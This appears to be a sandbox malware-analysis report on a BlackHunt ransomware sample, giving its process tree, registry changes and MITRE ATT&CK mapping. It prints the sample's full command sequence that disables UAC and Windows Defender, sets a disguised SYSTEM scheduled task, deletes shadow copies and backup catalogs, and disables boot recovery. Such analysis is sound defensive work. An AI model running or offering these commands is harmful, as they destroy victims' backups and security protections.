PID 2784 wrote to memory of 1152	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	144
PID 2784 wrote to memory of 1152	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	144
PID 1164 wrote to memory of 2604	1164	cmd.exe	146
PID 1164 wrote to memory of 2604	1164	cmd.exe	146
PID 3328 wrote to memory of 628	3328	cmd.exe	196
PID 3328 wrote to memory of 628	3328	cmd.exe	196

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
"C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe" /F
  2⤵
  PID:2564
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  - Modifies registry class
  PID:3284
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3424
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:636
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:700
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1260
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2588
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1860
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:628
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2976
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:744
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1292

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4228

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3164

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery